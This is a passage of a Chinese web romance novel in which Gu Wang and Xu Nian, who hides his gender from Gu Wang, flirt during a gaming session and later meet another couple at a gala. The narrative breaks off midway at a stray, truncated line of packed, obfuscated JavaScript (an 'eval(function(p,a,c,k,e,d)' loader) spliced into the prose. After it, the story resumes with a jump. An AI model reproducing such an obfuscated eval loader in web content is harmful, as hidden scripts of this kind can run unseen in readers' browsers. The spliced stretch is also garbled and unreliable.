过了好几秒,许念才闷闷地从他颈间挤出一句:“不是那样……”顾妄低下头看她,下巴轻轻蹭过许念的发顶,声音不自觉地放轻了:“那是怎样?”许念吸了一下鼻子,忽然抬起头。那双漂亮的眼睛不知道什么时候已经红了,湿漉漉地看着他,小声开口:“我喜欢你啊。” 顾妄被这记直球打得猝不及防,他别开视线看向别处,又忍不住移回来,嘴角微不可察地扬了一下,语气依然拽得要命:“现在才知道?”许念看着他,不说话。他本来眼睛就大,这会儿眼红红水蒙蒙地盯过来,顾妄被他看得耳根发热,强装镇定地抬起手,捏了捏许念的后颈:“喜欢我不是很正常?” 他说完,视线往屏幕上那几条聊天记录扫了一眼,又重新落回许念脸上,试图找回面子:“姐姐眼光是不怎么样。”许念还是不说话,就那么看着他,睫毛轻轻扑闪了两下。顾妄被他盯得实在顶不住,脸上还强绷着冷酷的表情,耳朵却已经红透了,他清了清嗓子,硬撑着把后半句说完:“但我也没说不要你。” 许念:“……” 这个笨蛋。连自己被他骗了都不知道。 那股酸意一下就顶到了眼眶,许念垂下眼,刚想把脸重新埋回去,腰上那只手忽然一收。顾妄根本没给他反应的时间,扣着他手臂就把人从椅子上拽了起来。许念本来就没坐稳,被他这么一带,整个人失了重心,惊呼一声,直接结结实实跌坐到了顾妄腿上。“啊……”许念吓了一跳,条件反射地攥住顾妄冲锋衣的领口,“顾妄!” 顾妄左手从他腰后抄过去,掌心一贴上那截细腰,就霸道地收紧了。右手则顺势往下,压住许念腿根那点容易走光的裙摆,将人往自己怀里严丝合缝地按了按。许念被他这么一捞,整个人几乎完全陷进他怀里,膝盖下意识地往里并拢,手指无措地抓着他衣服的布料。 顾妄把人抱稳了,眉头还微微皱着,语气听起来十分嫌弃:“姐姐怎么这么麻烦。”许念本来心里还酸得难受,一听这话,眼睛立刻瞪圆了,腮帮子气呼呼地鼓了起来。刚想顶他一句“谁麻烦了!”,顾妄却先一步低下头,细碎的额发轻轻蹭过她的锁骨。他直接把脸埋进了许念的肩颈里,很轻地蹭了一下。 嘴上嫌他麻烦,手却抱着不放。许念低头看着那颗埋在自己颈窝里的脑袋,原本还悬在半空的手慢慢落下来,犹豫了一下,还是顺从地环住了他的脖子。顾妄没抬头。许念身上那股甜甜的香气,离远了其实不明显。可这会儿人整个坐在他腿上,贴得严丝合缝,那股甜味就顺着温热的皮肤一点点渗透出来,直往他鼻腔里钻。顾妄埋在他颈间,呼吸明显停滞了一瞬,搂在许念腰上的手不自觉地更紧了点,连下巴都往那处柔软的肩窝里压得更深了。许念被他蹭得肩膀轻轻一缩。他能很清楚地感觉到,顾妄脸上的温度正在一点点往上爬。 过了好一会儿,顾妄才闷闷地挤出一句:“你怎么总这么甜。” 许念本来脸就红着,被他贴在耳边这么一说,连脖子都跟着热了起来。他抿了下唇,小声解释:“……是香水啦。” 顾妄“哦”了一声,手臂反而又往里箍了一下。安静了两秒,他又低低开口:“以后少喷。” 许念低头看他:“为什么?” 顾妄这才抬了下眼,耳根的红晕已经蔓延到了脖颈,嘴上却还在死撑:“太甜了,招虫子。” 许念一听又想瞪他,顾妄已经先一步抬手,掌心直接扣住他的后脑勺,不由分说把他的脸按进自己肩窝里,压根不给他抬头瞪人的机会。按完还嫌不够,手掌又在他后颈上压了压,自己也偏过脸,只把下巴固执地抵在许念发顶,声音闷闷砸下来: “……受不了。” 许念:“……” 他顺着这个姿势,慢慢抬起手,虚虚环住了顾妄的背。顾妄还扣着他的后颈,抱得很紧,勒得许念都有点喘不过气。许念的鼻尖无意间蹭过他的头发,眼睫颤了颤,颓然地垂了下来。刚才好不容易被他压下去的那股子酸涩,这会儿又像剧烈摇晃过的碳酸饮料,咕嘟咕嘟全顶到了嗓子眼,闷得心口发胀。 这人平时上课,不会真的戴着小天才电话手表吧? 不然怎么能这么好骗啊。 明明在外头是个又拽又臭屁的大少爷,看谁都像在看垃圾,结果自己这边才刚垮下脸,连眼泪都没挤出来两滴,他那边就先自乱阵脚认输。许念越想越觉得心里揪着疼。他鼻尖埋在顾妄发间很轻地蹭了蹭,原本虚搭着的手指也不自觉地收拢,攥紧了顾妄背后的冲锋衣面料,扯出几道褶皱。 他其实早就想过了,顾妄不久就会出国。等真到了大洋彼岸,见识的花花世界多了,日子肯定和现在完全不一样。到那时候,他身边绝对会围满更漂亮、更优秀、也“更正常”的人。是可以光明正大牵着手走在太阳底下、不用像他这样连性别都要死死捂住、每天提心吊胆怕掉马的人。 等到了那个时候,他就随便扯个烂俗的理由跟顾妄提分手。就说自己变心看上别人了,或者接受不了时差,再或者干脆撒泼说没人陪着就不想谈了,都行。反正按顾妄这种脾气,真要是被甩了,估计连半句挽留的废话都不会有,直接黑着那张帅脸,砸下一句“爱滚滚”,然后果断删好友拉黑,这辈子都权当没认识过他这么个人。 但那样也挺好的,至少顾妄回想起来,最多只会觉得是自己倒霉,谈了场无疾而终的恋爱。而不是让他察觉,自己像个彻头彻尾的傻子一样被人玩得团团转:他的初恋,从加上微信的那一秒起,就是一场连性别都造假的惊天骗局。 13.爱玩的哥们儿你听哥说 这局打完,顾妄在群里丢下一句:【等下,帮女朋友调鼠标。】消息一发出去,人就再也没动静。既不点开始,也不说下一把怎么排,头像倒是还亮着,嚣张得提醒所有人:人还在,但别来烦。 本来吵得像早高峰菜市场的群,瞬间安静。几个人盯着那行字,集体陷入短暂缺氧。顾妄有女朋友这事,他们早知道。前两天这位少爷又双叒在校门口被外校女生堵住要微信,对方那句“同学我想——”才刚起了个头,他脚步都没停,懒洋洋甩下一句“有女朋友,不加”就走,独留人家站在原地悲伤拼凑碎掉的芳心。当天下午表白墙直接炸锅,一帮人捂着胸口在底下哀嚎:【极品帅哥英年早恋,大家都散了吧。】而李青杨他们几个还特别缺德,跑去底下热心补充帅哥女朋友的细节:【长得特别漂亮,脾气也好,还是姐姐。】 知道归知道,可真让顾妄这么“不经意”秀到脸上,冲击力还是过大。李青杨第一个没憋住,鬼鬼祟祟冒头:【他刚刚消失那么久,不会是去找鱼姐姐了吧?】 下一秒立刻有人接话:【找个屁,我看八成是直接把人接回家了。】 【服了,真服了。】 【不是,调个鼠标而已,我怎么已经听见鸽子在我耳边咕咕叫了?】 【滚,你少乌鸦嘴。老子这周essay一个字没写,Physics c还剩一半,全指着今晚抱妄哥大腿续命。你现在跟我说他要退游陪老婆?他是这种人吗??】 这话刚发出去,发消息的人双掌合十许愿。大家捏着鼻子等了一会儿,再等,继续等。十五分钟过去,两两solo都打完一轮了,顾妄那边还是半个泡都没冒。YY和微信群直接同步进入轰炸模式,消息唰唰往上窜。 【妄哥,好了没?你这是调鼠标还是准备现场手搓一个新的?】 【开视频啊,哥几个给你远程会诊。】 【修不好就别折腾了,我们集资给姐姐闪送一个,罗技雷蛇随便挑,别让姐姐受这委屈。】 【我这儿有九九新备用鼠标,没沾过可乐。妄哥你把地址给我,我现在就给姐姐送过去。】 【对对对,姐姐这把先挂你身上玩猫咪,下把鼠标就到了。】 【刚好她还能近距离看你操作。你负责乱杀,她在旁边负责说一句“哇弟弟好帅”,我都不敢想你得秀成什么样。】 【要不你直接抱腿上打吧,反正你单手也能C。】 【我备用鼠标图已经发群里了,姐姐随便挑。妄哥你把人抱稳,别的事都交给兄弟。赶紧先开开开开开开!】 群里这会儿一个赛一个贴心,恨不得现在就顺着网线爬过来,把许念往顾妄腿上一按,再拍拍顾少肩膀,语重心长来一句:哥,既然游戏爱情双丰收,光阴如梭,我们赶紧开下一把! 搁平时,这帮人要是听见“帮女朋友调鼠标”这种烂借口,早围着顾妄从今晚阴阳到下周一了,连知乎标题都能替他想好——《朋友帮女友调鼠标调到人间蒸发是种什么体验》。可今时不同往日,他们是一群被作业和防沉迷双重扼住命运后颈的苦命男高,峡谷黄金时段比脸面金贵得多。尊严先放一边,把爹哄回来开游戏才是头等大事。 千呼万唤里,顾妄终于有了反应。他直接按了强制关机,按的还是许念那台。许念还坐在他腿上,腰被他一只手臂圈着,整个人都没挪窝,眼睁睁看着自己那台刚装好没多久的宝贝电脑原地去世,脑子里刚才那些乱七八糟的少女心思被这一按一键情况,只剩一句话在脑门上疯狂滚动:他的宝贝电脑。 这台机器可是他为了不拖顾妄后腿,硬拽着陈逸陪自己去配的。显卡和主板谁是谁他压根分不清,更别说了解lol这游戏根本不吃配置这件事。陈逸那个半吊子装机大师在旁边胡说八道,什么贵买什么,他就在柜台前点头点得像送财童女。ROG X870E主板,ROG RTX 5090显卡,TRYX360水冷,再叠个1200W白金电源,配置单一打出来,老板笑得嘴角都快飞去太阳穴。结账的时候,老板随口一问用途,听见“只为打lol”,整个人都精神了,竖着大拇指夸:“美女专业,一看就是会玩的,眼光真好。”等许念一转身,他回电脑前鼠标一点,飞快在后台客户系统敲了一行备注:【人傻钱多白富美,只玩LOL,完全不懂配置,后续可持续推荐高毛利粉色外设。】顺手还把仓库里那款准备清库存的杂牌粉色猫耳耳机拉进了预留名单。 就这么一台浑身散发金钱味道的机器,顾妄嫌麻烦,手一伸,眼都不带眨,给他直接强制关机。许念腮帮子一下鼓起来,扭头就瞪他:“你干嘛啊!坏了算谁——?”话都没说完,他腰侧就被人不轻不重捏了一把。顾妄指腹碾着那一小块软肉,捏得他后背一绷,语气还是那副理所当然的少爷样:“我赔,给你配台更好的。” 许念:“………” 你有钱,你了不起。 紧接着,这位了不起的大少爷又低头摸过手机,在群里扔下一颗重磅炸弹:【不玩了。】 群聊当场被问号淹没。 【?????????】 【哥现在才七点半???】 【峡谷演员都没上班你退什么役??】 【内战啊哥,又没人狙你,你下什么线??】 【你Calc那套题都快写完了,Physics c就剩两题,打两把根本不影响啊!】 顾妄扫了眼屏幕,破天荒地没嫌烦,指尖在键盘上敲了几下,居然还给这群嗷嗷待哺的逆子们做了个简短说明: 【女朋友太黏人。】 许念:“??????????” 他眼睛一下睁圆了,手指本来还攥着顾妄肩上那一点冲锋衣布料,这会儿猛地一收,连指节都泛白了。热意从脖子一路往上爬,耳朵烫得像被人捏着吹了口热气,整个人都快熟了。 男高们:“…………………..” 语音里没人发言,连平时最能叫的李青杨都没出声。众人盯着那句“女朋友太黏人”,脑子里不约而同飘过同一句诅咒:顾妄这种人,迟早要遭报应。行,让他装。等以后真被漂亮姐姐看穿本质一脚踹了,他最好别半夜发疯给兄弟打语音哭。 可骂归骂,酸归酸,游戏还是得求着人家带。于是大家忍着牙酸,又卑微地发起最后一轮挽留。 【不是,黏人怎么了,姐姐黏你那是你的福气。】 【就是啊,你让姐姐来峡谷继续黏呗。你俩直接下路连体,我们保证不举报。】 【开着麦黏也行,反正我们早被你秀麻了,再多吃两口狗粮也撑不死。】 顾妄看着那排哭天喊地的挽留,嘴角往上一挑,懒得跟他们废话。他左手还搂着许念的腰,右手已经在屏幕上点得飞快,直接在群里开了专属红包,一连十个200块往外甩,连陈逸那份都没落下。意思非常简单:今晚老子要陪女朋友,没空搭理你们这群除了喝奶茶就是打游戏的小屁孩,拿了钱就闭嘴,赶紧滚。 红包雨砸下去的瞬间,YY语音直接炸了锅。男高们前一秒还在鬼哭狼嚎痛失大腿,后一秒就集体满血复活。 李青杨手速爆发,领完红包无缝切换小弟模式:“顾少!我就知道你不是那种见色忘义的人!你放心去陪姐姐,我一定一边喝你赞助的霸王杯柠檬茶,一边在心里虔诚祝福你们百年好合!” 沈嘉行盯着微信零钱余额,眼睛都快放绿光了:“别说七点半下线了,顾少今天就算当场宣布为了爱情永久退役,只要红包继续发,我现在就能起立鼓掌,顺便给你和嫂子现场念一段新婚贺词。” “滚吧你。”不知道谁在语音里笑骂一句,“刚才骂得最狠的不就是你?” “你懂个屁。”沈嘉行振振有词,“我这是职业素养,拿钱说话。” 顾妄连群都懒得再看,发完最后一个红包,手机往桌上一丢。那手机连壳都没装,边框磕得坑坑洼洼,钢化膜边缘碎得参差不齐,一看平时就没少挨摔。许念低头瞄了一眼,脑子里突然冒出个不太合时宜的念头:马上白色情人节了,要不给他换个新的? 可这念头才刚冒头,顾妄刚才那句【女朋友太黏人】又开始在他脑子里循环播放。许念越想越恼,抬头就撞上顾妄那张毫无悔意、甚至还有点得意的脸,心口那点羞耻立刻转了方向,肩膀往他身上轻轻一撞,嘴巴都撇起来了:“谁黏你了,你少往自己脸上贴金。” 顾妄神色极其坦然:“刚才抱着我不撒手的不是你?说喜欢我的不是你?”他说一句,就伸手在许念耳垂上轻轻捏一下,捏得许念又痒又麻,“这都不算黏人,那什么算?每天手牵手陪我上学?” “……谁要陪你上学啊。” 许念拍开他的手。 顾妄居然还真认真想了两秒:“也不是不行。我下周去申请带家属旁听,正好牵着你在学校转一圈,让那帮天天堵我的人认认脸,省得总来烦我。” “你有病吧!”许念一下没绷住,抬手就在他肩上拍了一下,力道轻飘飘的,半点杀伤力没有。嘴上骂得凶,脖颈那一片却已经泛了层薄粉。 他刚想把手收回来,顾妄已经先一步扣住他手腕,往怀里一带,搂得比刚才还紧,眉梢一挑:“那你说,怎么才算黏人?” 许念一下被问住了。这让他怎么接?难不成真顺着顾妄的话往下说,说刚才那点搂搂抱抱还不算,得再过分一点才算?那不等于亲手递刀给顾妄,看着他往自己身上招呼吗。他抿着嘴不吭声,气鼓鼓地别开视线装死。顾妄看着他,慢悠悠来了一句:“不说也行,你现在直接做给我看。” 许念转过头瞪他,瞪了半天,自己耳朵先红透了,最后还是拿他一点办法都没有,只能在心里恶狠狠骂了一句:小流氓。 再让他说下去,下一句八成更没法听。许念赶紧生硬地把话题拽开:“你刚才……给陈逸也发红包了?”一听见这个名字,顾妄的脸就冷了下来:“封口费。” 他说话时微微低头,温热的呼吸擦着许念耳边掠过去,惹得许念下意识缩了下脖子,肩膀也绷了一下。顾妄像是没察觉,继续不紧不慢往下说:“让他闭嘴,少给你发那些乱七八糟的消息。”说到最后一句,脸色明显更臭了,“还是说,他今天被我虐成那样,你心疼了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许念先是一怔,视线慢慢往上挪。再回想一下,从顾妄进门到现在,那副耳机就一直挂在脖子上当摆设,宁愿漏音也死活不肯往头上戴。破案了,不是嫌朋友们吵,是怕把发型压塌。许念越想越好笑,干脆又凑近一点,认真端详起那头明显是精心吹过、抓过纹理、最后十有八九还喷了不少定型喷雾的头发,眼睛直接弯成月牙:“这么宝贝啊?那你跟我说说,到底帅在哪儿了,让我认真欣赏一下。” 顾妄睨他一眼,拽得明明白白:“我哪儿不帅?” “扑哧——” 许念这回是真没忍住,整个人直接笑软在他怀里。两个人本来就挨得近,他这么一歪,顾妄下意识抬手把人扶住。许念笑得肩膀直颤,手臂也顺势勾上了顾妄的脖子,带着笑意的呼吸一下下扑在他脸侧,暖乎乎的,还混着身上那股甜丝丝的香味,直往人心口里钻。 顾妄强行板起脸,试图找回点场子:“笑什么,就许你穿裙子喷香水,不许我弄头发?” “没有不许——”许念笑得声音都在抖,仰起脸看着他,眼睛亮晶晶的,“我就是没想到,顾少居然还有这种帅哥包袱。” 顾妄轻嗤了一声,视线却不太自然地往旁边飘:“见你,当然得收拾一下。” 话音落下,许念脸上的笑意一下就停住了。他看着顾妄,心口像被什么轻轻撞了一下,咚地一声,余震却拖得很长。顾妄被他这么看着,耳朵也一点点开始发热,嘴上却还要装得很凶:“看什么? “顾妄,”许念抿着嘴,拼命忍笑,手指在他后颈轻轻挠了一下,软声逗他,“你不会为了来见我,一个人在镜子前面抓了半天头发吧?” “许念。”顾妄咬着牙叫他。 “我就问问嘛。”许念嘴上无辜,眼睛却弯弯的,作势又要去碰他的头,“那我轻轻摸一下总行吧?我看看这到底喷了多少发胶,怎么宝贝成——” “不行。”顾妄眼疾手快,一把攥住那只不安分的手,牢牢扣进掌心里。 许念被他这副如临大敌的样子逗得不行。他的手被顾妄攥着,索性也不往回抽了,反而顺势贴得更近,歪着脑袋往他面前凑,小小声说:“你怎么这么可爱啊。” “……” 顾妄盯着他看了两秒,忽然闭了下眼,等再睁开时一句废话都没再说,手往许念腿弯下一抄,另一只手托住他后背,轻轻松松把人整个打横抱了起来。 “哎——”许念吓了一跳,双腿在半空中慌张地扑腾两下,手先脑子一步搂紧了顾妄的脖子,眼睛都睁圆了:“你干嘛呀!” “换衣服,带你去吃饭。”顾妄抱着他,步子迈得又快又稳,耳朵却已经红得快滴血,还硬要装得若无其事,语气硬邦邦的,“指路。” 许念被他这么抱着,刚才那点逗人的嚣张气焰一下子散干净,脸颊热得发烫,连分贝都小了下来,抬手朝左边指了指:“那边……” 顾妄抱着人走到卧室门口,才微微弯腰,把人放下。许念脚一沾地,心跳都还没落稳,低着头含含糊糊“哦”了一声,像只受了惊的小兔子,转身就想往房间里钻。结果人刚走出一步,手腕就被顾妄一把拽了回来。许念一愣,回头的瞬间,顾妄低下头,在他唇上轻轻碰了一下。 “换快点。”顾妄松开他,仍旧是那副拽得要命的样子,“我真饿了。” “……嗯。” 许念耳朵微微发热,抿了抿嘴唇,盯了他两秒钟,最终还是没能压住嘴角,轻轻转身往门里走去,脚步不自觉地放轻。 门在身后轻轻合上,顾妄站在门外,抬手揉了揉后颈,嘴角微微勾起,低声自言自语:“女朋友就是麻烦。” 14.双人成行[番外] 出门前,许念拎着那条阿玛尼黑色露肩鱼尾裙,站在衣帽间门口晃了晃:“顾总,这条批不批?” 顾妄正低头扣表带,闻声抬眼扫了一下。放平时,这种袒胸露乳的布料在他这儿连上身资格都没有,十有八九会被一句“换掉”直接打回衣柜最底层,今天却破天荒地点了头:“穿。” 许念眼睛一下子就亮了,立刻把裙子往身前一比,朝他歪了下脑袋:“哟,今天这么好说话?” “我在。”顾妄把袖口抚平,语气拽得理所当然,连头都没多抬,“有什么不能穿的。” 许念拖长了声音“哦”了一下:“那你不在的时候,我是不是得裹成木乃伊啊?” 顾妄几步走过去,顺手把裙子从他手里抽出来,搭到旁边衣架上,另一只手已经扣住他后腰,把人往镜子前带了带:“我不在,你穿给谁看?” 许念被他带得往前踉跄半步,站稳了就冲镜子里那张臭脸做了个鬼脸:“顾妄,你现在真的越来越难伺候。” 顾妄没反驳,只抬手把他散在锁骨边的头发拨到背后,动作明明很温柔,催人的语气却还是那副少爷样:“少废话,进去换。” “知道啦——”许念拖着调子应了一声,抱着裙子往里跑,跑到门边又忽然探回半张脸,眼睛弯弯地冲他眨了一下。 门合上以后,顾妄还站在原地没动,目光落在那点一闪而过的裙角上,过了两秒才摸出手机,低头给造型师发消息:【项链配那条帕拉伊巴。】 等许念再出来,妆发已经做得差不多了。顾妄原本靠着沙发边回消息,听见高跟鞋敲在地板上的声音,抬头一望,手指直接僵在屏幕上,半天没动。 黑色鱼尾裙把许念的腰线掐得细细一把,走一步,裙摆就在小腿边扫一下,摇曳生姿。露肩的设计把肩颈衬得单薄又修长,长手套一路裹到手臂,反而把露出来那片皮肤托得更白嫩。头发全挽了上去,漂亮的额头和纤长的脖颈都露出来,脖子中间压着那颗满钻镶嵌的帕拉伊巴鸽子蛋,蓝得耀眼,把“顾总最近赚了不少”这句话直接给挂到身上。 许念看他半天没吭声,拎着裙摆走过去,在他面前慢吞吞转了半圈:“怎么啦?不好看啊?” 顾妄这才回神,伸手把人一把拽近,先低头把那颗招摇的石头扶正,指腹在链条边上压了一下,这才哑着嗓子开口:“好看。” 许念抬手摸了摸那颗大石头,自己先有点心虚起来:“会不会太夸张了呀?” “夸张什么。”顾妄眼都不眨,视线从他身上完全移不开,“很好看。” 话是这么说,但眼神往胸口一落,他眉头还是立刻皱了起来,手比脑子更快地伸过去,试图把那片领口往上提。 许念低头看了眼那只试图跟裙子版型硬刚的手,边笑边抬手把他拍开:“顾妄,你讲不讲理,这裙子就长这样。你再拽,它也不可能当场变高领。” 顾妄手停在半空,脸一下子更臭了,盯着那片领口看了两秒,最后冷着脸收回手,硬邦邦扔下一句:“等会儿一直挽着我,敢松开试试。” 许念已经快被他逗死了,肩膀都在发抖,他往前一步,双手一伸就去抱顾妄脖子,贴着他耳边软绵绵地哄:“知道啦,反正本来就是跟着我老公嘛。” 这一句贴着耳朵钻进去,顾妄喉结立刻滚了一下,扣在他后腰上的手也跟着收紧了点,脸上还是那副要拽上天的表情,耳根却悄悄热了。他“嗯”了一声,嗓音压得低低的:“知道就好。” 穿是让穿了,可顾总那点大方撑到宴会开场也就差不多了。许念跟着他一进场,没站多久,就察觉到四面八方看过来的视线。有人看裙子,有人看项链,更多的还是在看人。顾妄一开始还端得住,拿着酒杯陪人寒暄,装得人模人样,直到第三次看见有人端着酒绕过来搭话,脸色一点一点冷下去,抬手就把外套脱下来,兜头披到许念肩上,顺手还把领口往里拢了拢,连锁骨都一并盖严实了。 许念低头看了看自己身上突然多出来的西装外套:“顾总,你刚才可不是这么说的。” 顾妄替他把衣角整理好,嘴硬得跟鸭子壳一样:“空调开太低,怕你冷。” 许念差点笑出来,最后还是给他留了面子,只乖乖把手从外套里伸出来,去勾他的手指。反正他本来也没想给别人看,这人爱折腾就折腾吧。 “裴总。” 另一头,迟铎正晃着杯子,顺着裴与驰的视线看过去,一眼就看见了顾妄,还有他身边那个披着他外套的许念。“那就是你说的那个脑子还行的小鬼?”他抬了抬下巴,眼尾一扫,先把顾妄从头到脚过了一遍,“看着不太好惹。” 结果这一眼刚收回来,视线往旁边一偏,立刻就被那抹蓝晃了一下。顾妄身边那位顾太太脖子上那颗帕拉伊巴实在太能打,灯光一照,完全是个行走的蓝色闪光弹,差点没把迟大明星眼睛闪出散光。 迟铎嘴角抽了一下,脑子里已经把自家保险柜里那颗粉色大鸡蛋翻出来了。 行,懂了。 怪不得裴与驰这种眼高于顶的人,居然肯跟这小子坐一张桌子谈生意。说到底还是一路货色,骨子里的土味审美高度统一。赚了钱不先干别的,先往老婆身上挂块石头,越大越安心,最好走两步就能把全场闪瞎。 迟铎正腹诽得起劲,后背忽然一凉。他警觉地偏头,正对上裴与驰那张冷脸,手里的酒顿时就不香了。 “……..” 迟铎动作飞快,手一抬,直接把酒杯塞回路过侍应生的托盘里,双手一举,先把自己摘干净:“就抿了一口。” 裴与驰垂眼扫了下杯子里剩的那点酒,没拆穿,也没发作,只伸手扣住他的手腕,往掌心里一带:“走,带你认识个人。” “谁?”迟铎被他牵着往前,眉头先皱起来了。 “顾妄的太太。” 迟铎脚步一顿,偏头看他:“……我认识他太太干什么?” 这话刚一出口,他就有点后悔。裴与驰这种人,平时不爱多说,一开口基本就没什么好话。果然,裴与驰侧过脸看了他一眼,语气很平静,但说的每个字都让他不舒服:“给你换个圈子。省得你最近天天混在那群太太局里,回来不是夸这个珠宝顾问会说话,就是夸那个整形医生长得帅。” 迟铎:“……” 他被这一句噎得一口气卡在喉咙里,半天没想到怎么顶回去。主要这话还真不是完全没根据。最近那帮纽约贵妇确实把他带得有点歪,面霜、香水、珠宝、肉毒、玻尿酸,他张嘴就来,懂得比圈里不少女明星都全。再这么混下去,他迟早得端着香槟坐进沙龙,跟人认真研究超声刀打哪块位置最有效,顺便再约个全身超光子加牛奶酸,力争又白又嫩。 ……好把裴与驰拴得更牢一点。 念头刚从脑子里冒出来,迟铎自己先顿了下,随即在心里骂了句脏话。 操。 他后槽牙都快咬酸了,刚想张嘴顶回去,裴与驰忽然捏了捏他的手。 “对了。”裴与驰又淡淡开口。 迟铎瞪他:“又干嘛?” “珠宝顾问我给你换了。”裴与驰面不改色,“换成沈总的那位。” “?”迟铎愣了下:“换了干什么?” 裴与驰眼皮都没抬一下:“省得你被那种嘴甜的男的哄两句,又买一堆没用的垃圾回来。” “……” 迟铎盯着他那张冷脸看了两秒,后知后觉地咂摸出味来了。什么带他认识顾太太,什么给他换圈子,说到底都是顺手找的名头。整形医生的帅他不过是听别人闲聊时顺耳一听,没见过真人,真正倒霉的反而是那个真和他接触过的珠宝sales。裴与驰这醋吃得也够记忆力惊人,珠宝顾问、整形医生,一个都没落下。 迟铎心里那点火莫名灭了大半,甚至还有点想笑。可笑归笑,气也没全消,紧跟着脑子里又冒出另外一桩旧账,越想越觉得这人简直不识好歹。 他眼皮一掀,扫了眼裴与驰腕上那块表,直接翻了个白眼。 装什么?有本事把他买的那堆“垃圾”都给他还回来。 要不是为了给他抢那只破限定,他犯得着去哄一个珠宝sales?犯得着把那帮贵妇往人家那儿带,还得睁着眼夸一句“他嘴很甜,会来事”?这话还刚好让裴与驰听见了。他还不是为了给那sales冲业绩,好让人家把表替他留着,赶在某人生日前拿到手。 结果现在表都老老实实戴在某人手上了,这冷脸男心里跟没数一样,转头还要把这笔账翻出来阴阳他。 他懂个屁。 他以为跟中东贵妇一起给男人抢表,是件多容易的事吗? 他们走过去的时候,顾妄正被一个投行MD堵在那儿。那人年纪不小,资源也确实多,端着酒杯笑得满脸春风,眼神却一刻没老实过,话是对着顾妄说的,视线倒一个劲往许念身上飘:“顾太太真漂亮。顾总,待会儿要不要带太太去楼上坐坐?正好认识几个朋友。” 许念刚把那点客套的笑意提到嘴角,正准备把人礼貌地挡回去,顾妄已经往前迈了半步,肩膀一横,直接把他挡到了自己身后。 “不了。” MD的社交笑容僵在脸上:“顾总?” 顾妄张口就来:“我和我老婆在备孕,忌烟酒,忌熬夜。” 许念站在他背后,嘴角一抽,指尖偷偷摸过去,在他后腰上拧了一把。 这死小孩,真是什么都敢往外说。平时他在家但凡提一句“要不要再生一个”,顾妄的脸都能黑半天,活像许念要逼男为鸭。现在为了堵人,连“备孕”这种鬼话都能面不改色地现编现卖。 顾妄被他掐了一下,纹丝不动,反手往后一捞,直接把那只作乱的手攥进掌心里,五指一扣,握得严严实实。再抬眼时,他已经看见了朝这边走过来的裴与驰。 “Bruce。” 裴与驰朝他点了下头,言简意赅:“迟铎,我太太。” 许念整个人愣在原地。 迟铎。 活的迟铎。 不是热搜截图,不是短视频混剪,也不是手机屏幕里那种隔了一层的帅。是真人!就站在他面前,离得这么近。旁边那个冷脸豪门老公也是真的,往那儿一站,周围空气都像跟着冷了半度。 许念心里的小人已经开始捂脸尖叫原地打滚,面上却还得死死绷住顾太太应有的体面。他把唇角压了又压,才没让那点快飞起来的笑意跑出去:“你好,我是许念。” 迟铎平时待的圈子里,高科技与刻薄齐飞。眼前这位倒不一样,纯天然的漂亮,连那句“你好”都温温柔柔的,听不出半点拿腔拿调的意思。他脸色都跟着缓了点,抬了抬下巴:“迟铎。” 许念眼睛亮晶晶地看着他,几乎是脱口而出:“我知道你!” 迟铎被他这副样子逗得有点想笑,眉梢一挑,故意问:“知道我什么?唱歌跑调,还是演技烂?” 许念立刻把头摇得飞快,十分诚恳:“知道你很帅,也很有型。”说完他又没忍住,视线往旁边飘了下,落到裴与驰身上,小小声补了一句:“裴总也是。” 顾妄揽在他腰上的手瞬间收紧,收得许念腰窝都麻了一下。 “老婆。” 就两个字,语气又酸又冷,警告味扑面而来。 迟铎站在旁边,差点没乐出声。 这味儿他熟得不能再熟了,顾妄这小子果然跟裴与驰一路货色,占有欲都快写脸上了。区别无非是,顾妄年纪小点,根本不知道什么叫收着,情绪一上来,全摆脸上;裴与驰年纪大点,多少还知道装一装,冷着张脸,话不多,可该吃的醋一口都不会少。 许念一听这语气就知道坏了,顺毛雷达立刻滴滴作响。他往顾妄怀里靠了靠,手指钻进他掌心里轻轻挠了两下,偏过头冲他弯着眼睛笑。顾妄脸还是很臭,扣在他腰上的手倒没再继续使劲。 气氛放松下来后,四个人很自然地分成了两拨。顾妄和裴与驰站到一边,手里都端着酒,聊的还是那些东西。市场、牌照、做市商、流动性,三句话不离钱。落在另外两位耳朵里,跟念经没什么区别。 另一头,许念已经捧着果汁,跟迟铎聊起了上个月那期《Vogue HK》。 “你们那组封面真的拍得特别好。”许念说着说着,手都跟着比划起来,“就是那种张力完全拉满,但又不是硬凹出来的。很自然,看得人会想尖叫。我跟我朋友那天在群里刷了几十条,全在发疯。” 迟铎:“……” 他脸上还端着那副酷哥样,心里已经尴尬得快抠出一整个魔仙堡了。 那组封面哪是什么高级营业,根本就是裴与驰现场踩坑。摄影师在旁边刚挖了个坑拱了下火,那人眼都不眨就往里踩,踩完还嫌不够,恨不得把“他是我的”四个字直接刻脑门上。更别提后面的内页和花絮视频,前脚老公坑他,后脚儿子坑他,最后老公再回来补一刀。 纯纯黑历史。 换别人提这茬,迟铎早就把话题掐死了。可偏偏许念说话温柔,夸也夸得真心,一双眼睛亮亮地看着他,看得他连脸色都不好意思摆。 “你们群里还聊这个?”迟铎败下阵来,干脆聊上了。 “聊呀。”许念点头点得很认真,“还会分析微表情。” 迟铎眉梢一动:“分析什么?” “分析你那张脸,到底是在装酷,还是真的害羞。” 迟铎差点被自己的口水呛着,偏过头咳了一声,连耳后那块皮肤都跟着热起来:“你们是真闲。” 许念一点没意识到自己已经精准踩雷,还往前凑了点,压低声音,神神秘秘地跟他说:“最后大家一致觉得,前半段是在装,后半段是被裴总盯得实在顶不住。” 迟铎:“……” 行。 这帮人闲归闲,眼睛倒是真毒。 他抬手摸了下鼻梁,把那点不自在往回收了收,掏出手机:“加个微信。” 许念不敢相信:“啊?可以吗?” “有什么不可以的。”迟铎把二维码点出来,往他面前一递,“不是还要继续分析我?” 许念眼睛一下就亮了,赶紧把手机摸出来扫。 好友刚加上,落在顾妄眼里,杀伤力跟有人当着他的面偷拆他家水晶差不多。 他嘴上还在跟裴与驰聊capital intro和流动性,视线却已经不知道第几次往旁边飘了。看见许念捧着手机冲迟铎笑,他手里的酒杯都快被他捏出印子。旁边这位裴总也不知道发什么癫,竟然对此无动于衷。 顾妄只能在心里一遍一遍给自己洗脑。 迟铎是裴与驰老婆,是裴与驰老婆,是裴与驰老婆。 已婚。 有老公。 可就算这样,他还是看得烦。 靠! ……再冲别人笑一下试试,老子现在就把人扛回家。 好不容易把这一场应酬熬完,两人一上车,顾妄就不说话了。 